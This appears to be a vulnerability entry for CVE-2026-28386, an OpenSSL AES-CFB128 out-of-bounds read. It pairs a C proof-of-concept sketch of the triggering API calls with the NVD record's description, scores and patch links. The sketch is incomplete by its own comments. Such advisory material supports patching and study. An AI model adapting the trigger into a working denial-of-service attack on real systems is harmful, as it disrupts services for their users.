CVE-2026-28386

/* * PoC Concept for CVE-2026-28386 * This code demonstrates the API usage that could trigger the vulnerability. * Actual exploitation requires specific memory alignment (page boundary) * and AVX-512/VAES enabled hardware. */ #include <stdio.h> #include <string.h> #include <openssl/evp.h> int main() { EVP_CIPHER_CTX *ctx; const EVP_CIPHER *cipher = EVP_aes_128_cfb128(); unsigned char key[16] = {0}; unsigned char iv[16] = {0}; // Input buffer designed to trigger partial block processing // In a real exploit, this would be allocated at a page boundary unsigned char in[15] = {0}; unsigned char out[16]; int outlen; ctx = EVP_CIPHER_CTX_new(); EVP_EncryptInit_ex(ctx, cipher, NULL, key, iv); // Update with partial block (less than block size) // If the buffer 'in' ends at a page boundary and next page is unmapped, // this may trigger the out-of-bounds read. if (!EVP_EncryptUpdate(ctx, out, &outlen, in, 15)) { printf("Error during update\n"); } EVP_EncryptFinal_ex(ctx, out + outlen, &outlen); EVP_CIPHER_CTX_free(ctx); return 0; }

{"cve": {"id": "CVE-2026-28386", "sourceIdentifier": "[email protected]", "published": "2026-04-07T22:16:20.513", "lastModified": "2026-04-24T18:28:21.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Issue summary: Applications using AES-CFB128 encryption or decryption on\nsystems with AVX-512 and VAES support can trigger an out-of-bounds read\nof up to 15 bytes when processing partial cipher blocks.\n\nImpact summary: This out-of-bounds read may trigger a crash which leads to\nDenial of Service for an application if the input buffer ends at a memory\npage boundary and the following page is unmapped. There is no information\ndisclosure as the over-read bytes are not written to output.\n\nThe vulnerable code path is only reached when processing partial blocks\n(when a previous call left an incomplete block and the current call provides\nfewer bytes than needed to complete it). Additionally, the input buffer\nmust be positioned at a page boundary with the following page unmapped.\nCFB mode is not used in TLS/DTLS protocols, which use CBC, GCM, CCM, or\nChaCha20-Poly1305 instead. For these reasons the issue was assessed as\nLow severity according to our Security Policy.\n\nOnly x86-64 systems with AVX-512 and VAES instruction support are affected.\nOther architectures and systems without VAES support use different code\npaths that are not affected.\n\nOpenSSL FIPS module in 3.6 version is affected by this issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6.0", "versionEndExcluding": "3.6.2", "matchCriteriaId": "4A9E621D-29D8-418A-BF37-BED333C14507"}]}]}], "references": [{"url": "https://github.com/openssl/openssl/commit/61f428a2fc6671ede184a19f71e6e495f0689621", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://openssl-library.org/news/secadv/20260407.txt", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}